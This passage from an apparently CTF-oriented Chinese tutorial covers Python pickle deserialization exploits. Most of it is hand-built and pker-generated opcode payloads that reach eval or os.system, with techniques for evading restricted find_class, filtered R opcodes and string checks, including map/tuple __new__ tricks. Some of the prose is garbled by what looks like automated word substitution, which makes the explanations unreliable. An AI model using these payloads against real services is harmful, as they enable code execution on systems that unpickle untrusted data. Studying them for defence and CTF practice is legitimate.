'C:\\Python311\\Lib\\enum.py'>, 'ast': <module 'ast' from 'C:\\Python311\\Lib\\ast.py'>, '_opcode': <module '_opcode' (built-in)>, 'opcode': <module 'opcode' from 'C:\\Python311\\Lib\\opcode.py'>, 'dis': <module 'dis' from 'C:\\Python311\\Lib\\dis.py'>, 'collections.abc': <module 'collections.abc' from 'C:\\Python311\\Lib\\collections\\abc.py'>, 'importlib._bootstrap': <module '_frozen_importlib' (frozen)>, 'importlib._bootstrap_external': <module '_frozen_importlib_external' (frozen)>, 'warnings': <module 'warnings' from 'C:\\Python311\\Lib\\warnings.py'>, 'importlib': <module 'importlib' from 'C:\\Python311\\Lib\\importlib\\__init__.py'>, 'importlib.machinery': <module 'importlib.machinery' (frozen)>, '_sre': <module '_sre' (built-in)>, 're._constants': <module 're._constants' from 'C:\\Python311\\Lib\\re\\_constants.py'>, 're._parser': <module 're._parser' from 'C:\\Python311\\Lib\\re\\_parser.py'>, 're._casefix': <module 're._casefix' from 'C:\\Python311\\Lib\\re\\_casefix.py'>, 're._compiler': <module 're._compiler' from 'C:\\Python311\\Lib\\re\\_compiler.py'>, 'copyreg': <module 'copyreg' from 'C:\\Python311\\Lib\\copyreg.py'>, 're': <module 're' from 'C:\\Python311\\Lib\\re\\__init__.py'>, 'token': <module 'token' from 'C:\\Python311\\Lib\\token.py'>, 'tokenize': <module 'tokenize' from 'C:\\Python311\\Lib\\tokenize.py'>, 'linecache': <module 'linecache' from 'C:\\Python311\\Lib\\linecache.py'>, 'inspect': <module 'inspect' from 'C:\\Python311\\Lib\\inspect.py'>, 'rlcompleter': <module 'rlcompleter' from 'C:\\Python311\\Lib\\rlcompleter.py'>, '_struct': <module '_struct' (built-in)>, 'struct': <module 'struct' from 'C:\\Python311\\Lib\\struct.py'>, '_compat_pickle': <module '_compat_pickle' from 'C:\\Python311\\Lib\\_compat_pickle.py'>, '_pickle': <module '_pickle' (built-in)>, 'pickle': <module 'pickle' from 'C:\\Python311\\Lib\\pickle.py'>}
出于须要利用opcode表示我们的命令的限定,我们终极布局出的payload是builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)
写成opcode便是这样的
geteval = b'''cbuiltinsgetattr(cbuiltinsgetattr(cbuiltinsdictS'get'tR(cbuiltinsglobals)RS'__builtins__'tRS'eval'tR(S'__import__("os").system("whoami")'tR.'''
如果用pker天生opcode的话便是这样的
payload"getattr(builtins.dict,"get")(sys.modules,"os").system("whoami")
给pker的输入
getattr=GLOBAL('builtins','getattr')dict=GLOBAL('builtins','dict')get=getattr(dict,'get')mod=GLOBAL('sys','modules')os=get(mod,'os')system=getattr(os,'system')system("whoami")return
用pker写成opcode
opcode=b"cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS'get'\ntRp2\n0csys\nmodules\np3\n0g2\n(g3\nS'os'\ntRp4\n0g0\n(g4\nS'system'\ntRp5\n0g5\n(S'whoami'\ntR."
利用builtins.globals()获取危险函数.
还可以用builtins的globals()方法获取危险函数.globals()方法返回一个字典
返回的字典包含了所有全局浸染域内的名称(键)及其对应的值(值).这个字典反响了当前模块全局命名空间的状态
个中固然也包含了一些危险模块.
>>> builtins.globals(){'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>, 'os': <module 'os' (frozen)>, 'pickle': <module 'pickle' from 'C:\\Python311\\Lib\\pickle.py'>, 'sys': <module 'sys' (built-in)>}
例如这里就涌现了os.
道理和上边一样.
pker的输入
globa1=GLOBAL("builtins","globals")glob=globa1()dict=GLOBAL("builtins","dict")getattr=GLOBAL("builtins","getattr")get=getattr(dict,"get")builtins=get(glob,"__builtins__")eval=getattr(builtins,"eval")eval('__import__("os").system("whoami")')return
天生的opcode
output=b'cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS\'get\'\ntRp4\n0g4\n(g1\nS\'__builtins__\'\ntRp5\n0g3\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'
R操作符被过滤时,可以利用如下payload:
opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.
思路二 获取没有被重写的pickle.loads函数
布局的payload builtins.dict.get(builtins.globals(),"pickle").loads()但是这个思路有个bug,loads()函数只能传入byte类型的字符串.以是对付v0的opcode必须要引入其他函数来改变字符串类型.这就导致可能不能很好地绕过find_class()的重写.好在在v3的opcode中有B和C操作符可以向栈中压入byte类型的字符串.但是pker不能直接调用操作符.就须要我们自己手搓.
pker的输入
funcglob=GLOBAL("builtins","globals")glob=funcglob()dict=GLOBAL("builtins","dict")getattr=GLOBAL("builtins","getattr")get=getattr(dict,"get")pickle=get(glob,"pickle")loads=getattr(pickle,"loads")loads("bytestr")opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(S'bytestr'\ntR"
这里须要把天生的opcode的S'bytestr'改成byte字符串,用了B
opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(B\x0E\x00\x00\x00youropcodehere\ntR"
绕过显式字符串检测
V操作符可以进行unicode编码
Vsecr\u0065t#secret
S操作符可以识别十六进制
S'\x73ecret'#secret
利用内置函数绕过
涉及到一对观点:可迭代工具(iterable)和迭代器(iterator).最经典的迭代器便是python中的for循环.
for i in iterator ......
在python中有很多可迭代工具
序列类型:列表(List): [1, 2, 3, 4, 5]元组(Tuple): (1, 2, 3)字符串(String): "Hello, World"映射类型:字典(Dictionary): {1: 'One', 2: 'Two'}把稳:虽然字典本身不是可迭代的(字典迭代本色上是迭代其键,利用 keys()、values() 或 items() 方法可以分别迭代键、值或键值对),但从Python 3.3开始,字典也成为了可迭代工具,迭代时会返回其键。凑集类型:凑集(Set): {1, 2, 3}frozenset(不可变凑集): frozenset({1, 2, 3})迭代器类型:自定义迭代器类(实现了__iter__()和__next__()方法)内置迭代器工具,如 range(5) 或者通过 iter() 函数创建的迭代器文件工具:打开的文本文件或二进制文件,可通过逐行读取进行迭代天生器表达式:(xx for x in range(5))其他内置可迭代工具:enumerate 工具 (enumerate(list))zip 工具 (zip(list1, list2))reversed 工具 (reversed(list))只要一个工具实现了 __iter__() 方法且该方法返回一个迭代器工具,那么这个工具就被认为是可迭代的。在Python中,可以利用 isinstance(obj, collections.abc.Iterable) 来检讨一个工具是否是可迭代的。
详细的利用参照这个payload
next(dir(sys.modules['os'])) TypeError: 'list' object is not an iterator#如果直接运行这个的话会抛出一个TypeError: 'list' object is not an iterator#缘故原由是虽然list是可迭代的,但是他并不是一个迭代器,他并没有__call__函数>>> next(iter(dir(sys.modules['os'])))'DirEntry'#这才是精确的payload#如果想倒着遍历这个列表的话,可以利用reversed()这个函数>>> next(reversed(dir(sys.modules['os'])))'write'
直接手搓比用pker舒畅多了
opcode=b"""(((c__main__secreti__builtins__diri__builtins__reversedi__builtins__next."""
只用到了c和i,遥遥领先
利用类的__new__()布局方法绕过着重把稳这个操作符
NEWOBJ = b'\x81'#(这个很有用) #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, var1)天生实例化工具,然后将天生的工具压栈
他是可以触发类的__new__()函数的,以是在某些时候可以探求可用的__new__()方法进行绕过.不才一个方法中,我们正是用了这一点才代替__next__()方法进行迭代.
利用map(),filter()函数绕过两个函数都是python的内置函数.首先来看map()和filter()是什么
map(function, iterable, iterables)
返回一个将 function 运用于 iterable 的每一项,并产生其结果的迭代器。 如果传入了额外的 iterables 参数,则 function 必须接管相同个数的参数并被用于到从所有可迭代工具中并行获取的项。 当有多个可迭代工具时,当最短的可迭代工具耗尽则全体迭代将会停滞。
filter(function, iterable)
利用 iterable 中 function 返回真值的元素布局一个迭代器。 iterable 可以是一个序列,一个支持迭代的容器或者一个迭代器。 如果 function 为 None,则会利用标识号函数,也便是说,iterable 中所有具有假值的元素都将被移除。请把稳, filter(function, iterable) 相称于一个天生器表达式,当 function 不是 None 的时候为 (item for item in iterable if function(item));function 是 None 的时候为 (item for item in iterable if item) 。
把稳这两个函数都返回一个迭代器,以是我们须要利用list()函数将其变为一个列表输出.
payload
map(eval,[__import__("os").system("whoami")])list(map(eval,['__import__("os").system("whoami")']))
map()和filter()创造的迭代器有一个叫做"
参照AndyNoel师哥的payload:
bytes.__new__(bytes, map.__new__(map, eval, ['print(1)'])) # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Nexttuple.__new__(tuple, map.__new__(map, exec, ["print('1')"])) # tuple_new_impl->PySequence_Tuple->PyIter_Next
这样就可以通过__new__()方法对map()天生的迭代器进行迭代了.
opcode:
opcode=b'''c__builtin__mapp00(S'whoami'tp10(cossystemg1tp20g0g2\x81p30c__builtin__tuplep4(g3t\x81.'''
还有
opcode=b'''c__builtin__mapp00(S'whoami'tp10(cossystemg1tp20g0g2\x81p30c__builtin__bytesp4(g3t\x81.'''